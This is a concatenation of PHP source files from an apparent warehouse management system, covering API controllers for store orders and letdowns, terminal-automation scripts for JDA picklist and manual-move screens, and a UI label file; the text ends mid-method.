"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PStoreListDetail($box_code)
{
try
{
$asdf2d = ModelApiName::getApiSOboxnumber($box_code);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PStoreListDetailUpc($moved_doc, $box_code)
{
try
{
$asdf2d = ModelApiName::getAPIPStoreListDetailUpc($moved_doc, $box_code);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PStoreListDetailContent($boxcode, $move_doc)
{
try
{
$asdf2d = ModelApiName::getApiSOdetailContent($boxcode, $move_doc);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateLoadingBoxStatus($move_doc,$boxcode, $status)
{
try
{
$asdf2d = ModelApiName::getApiUpdateLoadingBoxStatus($move_doc,$boxcode, $status);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateSTLoadingBoxStatus($move_doc,$boxcode, $status)
{
try
{
$asdf2d = ModelApiName::getApiUpdateSTLoadingBoxStatus($move_doc,$boxcode, $status);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateStoreOrderUpc($move_doc, $upc, $rcv_qty)
{
try
{
$asdf2d = ModelApiName::getApiUpdateStoreOrderUpc($move_doc, $upc, $rcv_qty);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateStoreOrderBox($move_doc, $box_code, $upc, $rcv_qty)
{
try
{
$asdf2d = ModelApiName::getAPIUpdateStoreOrderBox($move_doc, $box_code, $upc, $rcv_qty);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateStoreOrderStatus($move_doc )
{
try
{
$asdf2d = ModelApiName::getAPIUpdateStoreOrderStatus($move_doc );
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RSTList($piler_id)
{
try
{
$asdf2d = ModelApiName::getAPIRSTList($piler_id);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RSTListDetail($mts_no)
{
try
{
$asdf2d = ModelApiName::getAPIRSTListDetail($mts_no);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTList($piler_id)
{
try
{
$asdf2d = ModelApiName::getAPIPSTList($piler_id);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTListDetail($mts_no)
{
try
{
$asdf2d = ModelApiName::getAPIPSTListDetail($mts_no);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RRLList($piler_id)
{
try
{
$asdf2d = ModelApiName::getAPIRRLList($piler_id);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RSTListDetailUpdate($mts_no, $upc, $rqty)
{
try
{
$asdf2d = ModelApiName::getAPIRSTListDetailUpdate($mts_no, $upc, $rqty);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RSTListDetailAdd($mts_no, $upc, $rqty)
{
try
{
$asdf2d = ModelApiName::getAPIRSTListDetailAdd($mts_no, $upc, $rqty);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RSTListUpdateStatus($mts_no)
{
try
{
$asdf2d = ModelApiName::getAPIRSTListUpdateStatus($mts_no);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RRLListDetailUpdate($mts_no, $upc, $rqty)
{
try
{
$asdf2d = ModelApiName::getAPIRRLListDetailUpdate($mts_no, $upc, $rqty);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RRLListDetail($mts_no)
{
try
{
$asdf2d = ModelApiName::getAPIRRLListDetail($mts_no);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RRLListDetailAdd($mts_no, $upc, $qty)
{
try
{
$asdf2d = ModelApiName::getAPIRRLListDetailAdd($mts_no, $upc, $qty);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RRLListUpdateStatus($mts_no)
{
try
{
$asdf2d = ModelApiName::getAPIRRLListUpdateStatus($mts_no);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
}<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class picklist extends jdaCustomClass
{
private static $formMsg = "";
private static $lagging = false;
public static $user = 'SYS';
public static $warehouseNo = "7000 ";
/*13
19
23
ENTER warehouse_no: 9005
TAB: Enter doc_no: 243
TAB: Enter From Seq_no: 1
TAB: Enter To Seq no: 1
Enter store_no: 20
TAB: Enter carton_id: TXT000001
TAB: Enter warehouse_clerk: SYS
F6 (if error about completion add +1 to date completed then F6 again)
PER ITEM: Enter quantity_moved (loop)
F7
F10
ENTER warehouse_no: 9005
TAB: Enter doc_no: 243
TAB: Enter From Seq_no: 2
TAB: Enter To Seq no: 3
Enter store_no: 20
TAB: Enter carton_id: TXT000002
TAB: Enter warehouse_clerk: SYS
F6 (if error about completion add +1 to date completed then F6 again)
PER ITEM: Enter quantity_moved (loop)
F7
F10
so on..
F1*/
// Note: BUG ON ERROR UPDATE SYNC STATUS, exceeds
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterPickingMenu()
{
parent::$jda->screenWait("Picking Menu");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("09",22,44)),ENTER,true);
echo "Entered: Picking Menu \n";
}
private static function enterPickingMenu2()
{
parent::$jda->screenWait(" ");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("01",22,44)),ENTER,true);
//echo "Entered: Approve Picks into Cartons \n";
}
private static function enterPickingMenu3()
{
parent::$jda->screenWait(" ");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("10",22,44)),ENTER,true);
//echo "Entered: Approve Picks into Cartons \n";
}
public function enterForm($data)
{
print_r($data);
parent::$jda->screenWait("Warehouse..");
parent::display(parent::$jda->screen,132);
$document_number = $data['document_number'];
$store_number = $data['store_number'];
$carton_code = $data['carton_code'];
// $from_sequence = $data['from_sequence'];
// $to_sequence = $data['to_sequence'];
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%5s", self::$warehouseNo), 5, 25); //enter location
$formValues[] = array(sprintf("%6d", $document_number), 7, 25);// enter document no.
// $formValues[] = array(sprintf("%5d", $from_sequence), 9, 25);// from sequence
// $formValues[] = array(sprintf("%5d", $to_sequence), 9, 48);// to sequence
$formValues[] = array(sprintf("%5d", $store_number), 11, 25);// enter store number
// $formValues[] = array(sprintf("%9s", $carton_code), 13, 25);// enter carton id
$formValues[] = array($carton_code, 13, 25);// enter carton id
$formValues[] = array(self::$user, 15, 25);// enter warehouse clerk
parent::$jda->write5250($formValues,F6,true);
#special case when the completed date is less than todays date
if(parent::$jda->screenCheck('The completion time cannot be before the assign time')) {
parent::logError("The completion time cannot be before the assign time", __METHOD__);
$date_now = date('m/d/y');
$formValues[] = array(sprintf("%8s", $date_now), 19, 25);// enter date completed
parent::$jda->write5250($formValues,F6,true);
}
#special case when picklist was close but sync_status was not updated
if(parent::$jda->screenCheck('Status code of move transaction is not "open"')) {
parent::logError('Status code of move transaction is not "open"', __METHOD__);
self::updateSyncStatus($data['document_number']);
return false;
}
parent::display(parent::$jda->screen,132);
return self::checkResponse($data,__METHOD__);
}
private static function checkResponse($data,$source)
{
# error
if(parent::$jda->screenCheck('Location entered is invalid')) {
$receiver_message="Location entered is invalid";
self::$formMsg = "{self::$warehouseNo}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Move document does not exist')) {
$receiver_message="Move document does not exist";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('A valid store number is required')) {
$receiver_message="A valid store number is required";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('A carton id must be entered')) {
$receiver_message="A carton id must be entered";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Carton id entered is assigned to a different store')) {
$receiver_message="Carton id entered is assigned to a different store";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Store number entered is not valid')) {
$receiver_message="Store number entered is not valid.";
self::$formMsg = "{$data['store_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('The store requested is not assigned to the move selected')) {
$receiver_message="The store requested is not assigned to the move selected";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Warehouse clerk is invalid for this location')) {
$receiver_message="Warehouse clerk is invalid for this location";
self::$formMsg = "{self::$user}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Sequence entry cannot be zero or negative')) {
$receiver_message="Sequence entry cannot be zero or negative";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
return false;
}
//if error persist exit
if(parent::$jda->screenCheck('F5 to accept quantity greater than requested')) {
$receiver_message="F5 to accept quantity greater than requested";
self::$formMsg = "{$data['document_number']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data['document_number'],"{$source}: {$receiver_message}", TRUE);
parent::pressF1();
parent::enterWarning();
return false;
}
echo self::$formMsg;
return true;
}
public function enterUpdateDetail()
{
parent::$jda->screenWait("Carton ID");
parent::display(parent::$jda->screen,132);
echo "Entered: Update Detail \n";
}
/*public function enterFormDetailsOrig($data)
{
$qtyMoved = self::getQtyMoved($data['move_doc_number']);
parent::$jda->screenWait("SZ000001");
$column = 9;
$row = 37;
$formValues = array();
//coordinates start on 37/9
for ($i=0; $i < count($qtyMoved); $i++) {
$new_col = ($i + $column);
echo "\n value of new_col is: {$new_col} \n";
echo "value of quantity moved is: {$qtyMoved[$i]} \n";
$formValues[] = array(sprintf("%10d", $qtyMoved[$i]),$new_col,$row); //enter moved_qty
}
print_r($formValues);
parent::display(parent::$jda->screen,132);
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Approve Picks Into Cartons Details \n";
return self::checkResponse($data,__METHOD__);
}*/
public function enterFormDetails($data)
{
echo "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \n";
$qtyMoved = self::getQtyMoved($data['move_doc_number']);
parent::$jda->screenWait("SZ000001");
$column = 9;
$row = 37;
$limit = 11;
$total = count($qtyMoved);
$offset = 0;
$count = ceil($total / $limit);
// $formValues = array();
//coordinates start on 37/9
/*for ($i=0; $i < count($qtyMoved); $i++) {
$new_col = ($i + $column);
echo "\n value of new_col is: {$new_col} \n";
echo "value of quantity moved is: {$qtyMoved[$i]} \n";
$formValues[] = array(sprintf("%10d", $qtyMoved[$i]),$new_col,$row); //enter moved_qty
}*/
echo "\n Offset: {$offset} \n";
echo "\n count: {$count} \n";
while($offset < $count) {
echo "\n Count: {$count} \n";
$new = $offset;
if ($new !== 0) {
$new = $new * $limit;
if (parent::$jda->screenWait("F6=Update Detail",5)) {
parent::$jda->write5250(null,F6,true);
}
else{
parent::display(parent::$jda->screen,132);
echo "Unable to find F6=Update Detail\n";
$lagging = true;
break;
}
if (parent::$jda->screenWait("F7=Accept Qtys",5)) {
for($i=0; $i < $offset; $i++)
{
echo "\nCounter of i is: {$offset} \n";
echo "\nEntered ROLLUP: Page: {$offset} with offset of: {$new} and row {$row} \n";
parent::$jda->write5250(null,ROLLUP,true);
parent::display(parent::$jda->screen,132);
}
}
else{
parent::display(parent::$jda->screen,132);
echo "Unable to find F7=Accept Qtys\n";
$lagging = true;
break;
}
}
$page = array_slice( $qtyMoved, $new, $limit );
$formValues = array();
foreach ($page as $key => $value) {
$new_column = $key + $column;
echo "\n value of new_col is: {$new_column} \n";
echo "value of qtyMoved is: {$value} \n";
$formValues[] = array(sprintf("%10d", $value),$new_column,$row); //enter qty_delivered
}
parent::display(parent::$jda->screen,132);
if(parent::$jda->screenWait("F7=Accept Qtys")){
parent::$jda->write5250($formValues,F7,true);
}
else{
parent::display(parent::$jda->screen,132);
echo "Unable to find F7=Accept Qtys\n";
$lagging = true;
break;
}
$offset++;
}
echo "Entered: Approve Picks Into Cartons Details xxxxxxxxxxxxxxxxxxxxxxx\n";
if($lagging)
return false;
return self::checkResponse($data,__METHOD__);
}
/**
* Per sequence no entry
*/
public function enterFormDetailsPerSequence($data)
{
$qtyMoved = $data['moved_qty'];
$formValues = array();
parent::$jda->screenWait("SZ000001");
$formValues[] = array(sprintf("%10d", $qtyMoved),9, 37); //enter moved_qty
print_r($formValues);
parent::display(parent::$jda->screen,132);
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Approve Picks Into Cartons Details \n";
return self::checkResponse($data,__METHOD__);
}
public function save($data)
{
if(parent::$jda->screenWait("F10=Accept Qty Assign Carton Markout Remaining"))
{
// parent::$jda->write5250(NULL,F7,true); // backup
parent::$jda->write5250(NULL,F10,true); // TO CHECK
parent::display(parent::$jda->screen,132);
echo "Entered: Pressed F10 \n";
#success
if(parent::$jda->screenCheck("Document {$data['document_number']} accepted for store {$data['store_number']}") || parent::$jda->screenWait("Document {$data['document_number']} accepted for store {$data['store_number']}",5)) {
self::$formMsg = "Document {$data['document_number']} accepted for store {$data['store_number']}";
self::updateSyncStatus($data['document_number']);
// parent::pressF1();
}
else{
echo "Unable to find success message \n";
parent::display(parent::$jda->screen,132);
}
}
else{
echo "Unable to find F10=Accept Qty Assign Carton Markout Remaining \n";
}
}
/*
* Get document number of picklist
*/
/*public function getPickNumber()
{
$db = new pdoConnection();
echo "\n Getting move doc number from db \n";
$sql = "SELECT DISTINCT pl.move_doc_number, b.store_code, MIN(bd.box_code) box_code
FROM wms_box_details bd
INNER JOIN wms_box b ON b.box_code = bd.box_code
INNER JOIN wms_picklist_details pd ON bd.picklist_detail_id = pd.id
INNER JOIN wms_picklist pl ON pl.move_doc_number = pd.move_doc_number
WHERE bd.sync_status = 0 AND pl_status = 2
GROUP BY pl.move_doc_number
ORDER BY pl.move_doc_number, sequence_no ASC";
// GROUP BY picklist_detail_id
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
$db->close();
return $result;
}*/
/*
* Get quantity moved per letdown document number
*/
private static function getQtyMoved($docNo)
{
$db = new pdoConnection();
echo "\n Getting quantity delivered from db \n";
/*$sql = "SELECT bd.id, pl.move_doc_number, b.store_code, picklist_detail_id, MIN(bd.box_code) box_code, sequence_no, pd.moved_qty
FROM wms_box_details bd
INNER JOIN wms_box b ON b.box_code = bd.box_code
INNER JOIN wms_picklist_details pd ON bd.picklist_detail_id = pd.id
INNER JOIN wms_picklist pl ON pl.move_doc_number = pd.move_doc_number
WHERE bd.sync_status = 0 AND pl_status = 2 AND pl.move_doc_number = {$docNo}
GROUP BY picklist_detail_id
ORDER BY pl.move_doc_number, sequence_no ASC";*/
$sql = "SELECT moved_qty FROM wms_picklist_details WHERE move_doc_number = {$docNo}
ORDER BY sequence_no ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['moved_qty'];
}
$db->close();
return $result;
}
/*
* Update ewms box_details sync_status
*/
/*private static function updateSyncStatus($data, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
print_r($data);
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_box_details
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND box_code = '{$data['carton_code']}'";
// WHERE picklist_detail_id = {$data['picklist_detail_id']}
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Picklist' AND jda_action='Closing' AND reference = {$reference}";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToApprovePicksIntoCartons()
{
try {
$title = "Picklist \n";
echo $title;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
self::enterPickingMenu();
self::enterApprovePicksIntoCartons();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout($params = array())
{
parent::logout();
// self::syncBoxHeader($params);
}
private static function syncBoxHeader($params)
{
// $formattedString = "{$params['docNo']} {$params['boxNo']} {$params['palletNo']} {$params['loadNo']}";
$formattedString = "{$params['loadNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('palletizing_step1', $formattedString);
$dbInstance->close();
echo "Entered: Syncing box header.... \n";
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Picklist', 'jda_action' => 'Closing');
// format: php picklist.php {docNo} {$boxNo} {$palletNo} {$loadNo}
$execParams = array();
$execParams['loadNo'] = ((isset($argv[1]))? $argv[1] : NULL);
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$document_nos = $db->getJdaTransactionPicklist($jdaParams);
if(! empty($document_nos) )
{
$getPicklist = $db->getPicklistInfo($document_nos);
print_r($getPicklist);
$picklist = new picklist();
$picklist->enterUpToApprovePicksIntoCartons();
$params = array();
foreach($getPicklist as $detail)
{
$params = array(
'document_number' => $detail['move_doc_number'],
'store_number'=> $detail['store_code'],
'carton_code'=> $detail['box_code']
);
$validate = $picklist->enterForm($params);
if($validate)
{
$picklist->enterUpdateDetail();
$validateDetail = $picklist->enterFormDetails($detail);
if($validateDetail)
{
$picklist->save($params);
}
}
}
$picklist->logout($execParams);
}
else
{
/*echo " \n No rows found!. Proceed to Box Header Creation\n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step1', $formattedString);*/
}
$db->close(); //close db connection<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class manualMove extends jdaCustomClass
{
private static $formMsg = "";
public static $user = 'SYS';
public static $warehouseNo = "7000 ";
/*
NOTE!!!! cron needed. possibility of connection timeout
13
04
03
03
Enter location: 7000 (warehouse)
enter SKU
clerk initials: SYS
from slot
to slot
Quantity
F7
*/
public function __construct() {
// parent::__construct();
self::$formMsg = __METHOD__;
parent::logError(self::$formMsg, __METHOD__);
parent::login();
}
private static function enterDistribution()
{
#enter Distribution Center Management
parent::$jda->screenWait("Distribution Center Management");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("13",22,44)),ENTER,true);
echo "Entered: Distribution Center Management \n";
}
private static function enterMoveGeneralMaintenance()
{
parent::$jda->screenWait("Move and General Maintenance");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("03",22,44)),ENTER,true);
echo "Entered: Move and General Maintenance \n";
}
private static function enterManualMoves()
{
parent::$jda->screenWait("Manual Moves");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("03",22,44)),ENTER,true);
echo "Entered: Manual Moves \n";
}
public function enterMMForm($move_detail)
{
$formValues = array();
parent::$jda->screenWait("warehouse Inventory Movement");
parent::display(parent::$jda->screen,132);
$formValues[] = array(sprintf("%5s", self::$warehouseNo),4,32);
$formValues[] = array($move_detail['sku'],6,32);
$formValues[] = array(self::$user,11,32);
$formValues[] = array($move_detail['from_slot'],13,32);
$formValues[] = array($move_detail['to_slot'],14,32);
$formValues[] = array($move_detail['quantity'],15,32);
parent::$jda->write5250($formValues,F7,true);
parent::display(parent::$jda->screen,132);
$validate = self::checkingInput($move_detail['id'],__METHOD__);
if($validate)
self::checkMoveLanding($move_detail);
}
public function checkingInput($input,$source)
{
if(parent::$jda->screenCheck('Warehouse number is not valid or is not a warehouse')) {
$message="Warehouse number is not valid or is not a warehouse";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
if(parent::$jda->screenCheck("Invalid 'sku' entered")) {
$message="Invalid sku entered";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
if(parent::$jda->screenCheck("Clerk is not valid")) {
$message="Clerk is not valid";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
if(parent::$jda->screenCheck("'From slot' or 'new primary slot' must be entered")) {
$message="From slot or new primary slot must be entered";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
if(parent::$jda->screenCheck("Slot not valid for this warehouse")) {
$message="Slot not valid for this warehouse";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
if(parent::$jda->screenCheck("Slot not valid for this sku")) {
$message="Slot not valid for this sku";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
if(parent::$jda->screenCheck("Quantity requested to move exceeds quantity available")) {
$message="Quantity requested to move exceeds quantity available";
self::$formMsg = "{$input}: {$message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($input,"{$source}: {$message}", TRUE);
return false;
}
echo self::$formMsg;
return true;
}
//check if move is successful
private static function checkMoveLanding($data = array()) {
if(parent::$jda->screenWait("{$data['sku']} moved from {$data['from_slot']} to {$data['to_slot']}")) {
echo "\n SKU {$data['sku']} has been succesfully moved from {$data['from_slot']} to {$data['to_slot']} \n";
self::updateSyncStatus($data['id']);
}
}
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE) {
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting transfer no from db \n";
$sql = "UPDATE wms_manual_move
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND id = {$reference} ";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToManualMoves()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Manual Move \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
self::enterDistribution();
parent::enterWarehouseMaintenance();
self::enterMoveGeneralMaintenance();
self::enterManualMoves();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout()
{
parent::logout();
echo "Entered: Done manual move.... \n";
}
}
$db = new pdoConnection(); //open db connection
$mmId = ((isset($argv[1]))? $argv[1] : NULL);
$move_details = $db->getMoveDetails($mmId);
if(! empty($move_details) )
{
print_r($move_details);
$manualMove = new manualMove();
$manualMove->enterUpToManualMoves();
foreach ($move_details as $move_detail) {
$manualMove->enterMMForm($move_detail);
}
$manualMove->logout();
}
else {
echo " \n No rows found!. \n";
}
$db->close(); //close db connection<file_sep><?php
return array(
'heading_title' => 'Products - Slot Inventory',
'heading_title_details' => 'Products - Slot Inventory - Details and Slot Contents',
'text_view_details' => 'View Inventory Details',
'label_filter_prod_sku' => 'SKU:',
'label_filter_prod_upc' => 'UPC:',
'label_filter_date_from' => 'Expiry Date From:',
'label_filter_date_to' => 'Expiry Date To:',
'label_filter_slot_no' => 'Slot No.:',
'col_id' => 'No.',
'col_slot_no' => 'Slot No.',
'col_prod_sku' => 'SKU',
'col_prod_upc' => 'UPC',
'col_prod_short_name' => 'Short Name',
'col_total_quantity' => 'Total Quantity',
'col_quantity' => 'Available Quantity',
'col_earliest_expiry_date' => 'Earliest Expiry Date',
'col_expiry_date' => 'Expiry Date',
'error_date' => 'Expiry dates are both required.'
);<file_sep><?php
class ApiLetdown extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Get Letdown lists
*
* @example www.example.com/api/{version}/letdown/list GET
*
* @throws Exception error
* @return json encoded array of letdown lists by upc
*/
public static function getLetDownLists()
{
try {
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
$letdownLists = LetdownDetails::getLetDownLists();
DebugHelper::log(__METHOD__, $letdownLists);
$bench->end();
return CommonHelper::return_success_message($letdownLists->toArray());
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets details of the selected upc
*
* @example www.example.com/api/{version}/letdown/list/detail/{sku} GET
*
* @param sku sku/upc of product
* @return json encoded array of of letdown detail
*/
public static function getLetdownDetail($sku)
{
try {
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
//get document numbers
$docNos = self::getDocumentNumbers($sku);
DB::beginTransaction();
//assign to the document number details then return new document numbers
$docNos = LetdownDetails::checkAndAssign($docNos,$sku, ResourceServer::getOwnerId());
//get details by sku
$letdownDetails = LetdownDetails::getLetDownDetailBySKU($sku, $docNos);
DebugHelper::log(__METHOD__);
$bench->end();
DB::commit();
$result = array('doc_nos' => $docNos,
'details' => $letdownDetails->toArray());
return CommonHelper::return_success_message($result);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change letdown quantity, moves a certain product from reserve zone to picking zone
*
* @example www.example.com/api/{version}/letdown/detail POST
* @param doc_nos document number
* @param moved_qty the quantity moved from reserved to picking
* @param sku_or_store sku or store that has products moved(store) or are moved(sku)
* @return status ok if moved
*/
public static function postLetdownDetail()
{
try{
CommonHelper::setRequiredFields(array('doc_nos', 'sku', 'slot'));
//parameters
$slot = Request::get('slot');
$movedQty = (int) Request::get('moved_qty', 0);
$sku = Request::get('sku');
$docNos = json_decode(Request::get('doc_nos'));
if(empty($docNos)) {
throw new Exception("Parameter doc_nos does not have a valid format");
}
DB::beginTransaction();
//assign letdown
$docNos = LetdownDetails::checkAndAssign($docNos,$sku, ResourceServer::getOwnerId());
//get letdown details
$letDownDetails = LetdownDetails::getLetdownDetail($docNos,$sku, $slot, ResourceServer::getOwnerId());
//set moved quantity of the details and return total to letdown
$letdownTotalToLetdown = self::moveLetdownDetail($letDownDetails, $movedQty);
//check if moved quanty is less than needed quantity
self::checkMovedQty($letdownTotalToLetdown, $movedQty);
self::postLetdownDetailAuditTrail($sku, $movedQty, $docNos);
DebugHelper::log(__METHOD__, $letDownDetails);
DB::commit();
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets document numbers for the sku that are not yet moved
*
* @example self::getDocumentNumbers
*
* @param sku sku/upc of product
* @return array of document numbers
*/
public static function getDocumentNumbers($sku)
{
$docNos = LetdownDetails::getLetdownDocumentNumbers($sku, ResourceServer::getOwnerId());
